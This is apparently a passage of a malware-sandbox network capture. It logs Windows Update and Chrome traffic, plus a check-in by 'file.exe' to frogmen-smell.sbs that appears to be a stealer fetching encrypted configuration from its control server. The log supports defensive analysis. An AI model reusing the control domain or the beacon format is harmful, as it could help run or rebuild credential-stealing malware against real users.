2024-11-16 03:33:20 UTC	1025	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4d2ks9ke5iv99f3nq0ukhhe95p; expires=Tue, 11-Mar-2025 21:19:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wL9ixA2cZbG2UtwEAXqdoS1nxof8cZhWB1uSfORaO9LPkkWCl3jFHLyzm4E3QTrjgy4jz1%2B57YfCLQbB0biaOzIBnhE5SF%2Bq1kGLGnlVc%2BK895VMC3zqvP55hPJULUqxU%2FwQYw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e346b1dbcb22e34-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1085&sent=223&recv=619&lost=0&retrans=0&sent_bytes=2845&recv_bytes=572625&delivery_rate=2623188&cwnd=251&unsent_bytes=0&cid=a114584f582b1ea0&ts=6229&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:21 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1uoc19OFMACUN2E&MD=7BxMkHdp HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-16 03:33:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ffd90766-0c87-408e-aa28-17a1959b8992 MS-RequestId: 71561d29-ec4b-42f4-b3bf-6760fbfbc97b MS-CV: DeSPu1YUt0yozYIh.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 16 Nov 2024 03:33:20 GMT Connection: close Content-Length: 24490
2024-11-16 03:33:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-16 03:33:21 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49739	104.21.80.55	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:21 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: frogmen-smell.sbs
2024-11-16 03:33:21 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 31 44 43 43 43 46 38 46 46 34 46 45 43 36 36 37 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=1DCCCF8FF4FEC667F7005D7B20127A88
2024-11-16 03:33:22 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lljvtn46mhrmhntsfsqldkrt8u; expires=Tue, 11-Mar-2025 21:20:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9%2FbQ5UAG40OAwJsRN0QfniXlZmCP3E9j%2BcYnzb%2BsG6FK2Of5GG5MX1SVv6DwuKjpCPTUBygWNSHbaSD%2Fln7T1owf0tRrzuqfzZH135KuypCzJfWYNKkJH5o3otcQNqB3ccW9VQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e346b48dac04692-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1145&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2618444&cwnd=252&unsent_bytes=0&cid=18dcf82192e5411e&ts=708&x=0"
2024-11-16 03:33:22 UTC	214	IN	Data Raw: 64 30 0d 0a 50 33 67 30 42 44 69 78 55 4d 2b 6f 71 48 4d 4d 76 75 55 57 55 4b 43 64 37 34 62 6b 32 2b 6e 41 76 51 6e 75 55 67 51 72 4e 34 4e 6b 41 78 5a 78 47 6f 74 79 70 39 7a 63 41 7a 62 69 79 6b 70 2f 6b 61 58 61 71 4e 62 71 33 4f 36 4d 4f 4e 31 38 4e 52 31 72 72 46 41 65 55 6c 67 58 31 54 57 70 68 73 30 4c 61 5a 7a 4a 4e 44 62 55 76 39 57 32 79 50 6d 4d 34 6f 63 34 6b 33 35 2f 43 55 4b 68 42 56 70 63 63 45 7a 42 61 70 4f 48 39 46 77 39 68 74 41 34 59 70 47 6f 77 62 66 56 36 4d 66 78 69 31 58 42 49 58 42 4f 56 75 35 6a 56 30 5a 6c 56 74 55 2f 6f 6f 62 4e 43 32 6d 63 79 54 51 32 31 4c 2f 56 74 73 6a 35 6a 4f 4b 48 4f 4a 4d 50 0d 0a Data Ascii: d0P3g0BDixUM+oqHMMvuUWUKCd74bk2+nAvQnuUgQrN4NkAxZxGotyp9zcAzbiykp/kaXaqNbq3O6MON18NR1rrFAeUlgX1TWphs0LaZzJNDbUv9W2yPmM4oc4k35/CUKhBVpccEzBapOH9Fw9htA4YpGowbfV6Mfxi1XBIXBOVu5jV0ZlVtU/oobNC2mcyTQ21L/Vtsj5jOKHOJMP
2024-11-16 03:33:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49758	13.107.246.67	443	1368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:36 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 03:33:36 UTC	713	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:36 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 22647 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: b693942f-d01e-0027-39a3-373a85000000 x-ms-version: 2009-09-19 x-azure-ref: 20241116T033336Z-1866b5c5fbb7km9phC1DFWr2sc0000000160000000000xa9 Accept-Ranges: bytes
2024-11-16 03:33:36 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-16 03:33:36 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-16 03:33:36 UTC	711	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-16 03:33:36 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-11-16 03:33:36 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49759	13.107.246.45	443	1368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:36 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 03:33:36 UTC	891	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:36 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: b909e3ec-f01e-00d4-7c8f-269d10000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241116T033336Z-16547b76f7fj5p7mhC1DFWf8w40000000p3000000000n899 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:36 UTC	15493	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-16 03:33:36 UTC	16384	IN	Data Raw: 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d Data Ascii: ?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[m
2024-11-16 03:33:36 UTC	16384	IN	Data Raw: 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f Data Ascii: gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,functio
2024-11-16 03:33:36 UTC	16384	IN	Data Raw: 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d Data Ascii: ,m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16}
2024-11-16 03:33:36 UTC	16384	IN	Data Raw: 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e Data Ascii: mal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return n
2024-11-16 03:33:37 UTC	16384	IN	Data Raw: 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f Data Ascii: uto track page visit time failed, metric will not be collected: 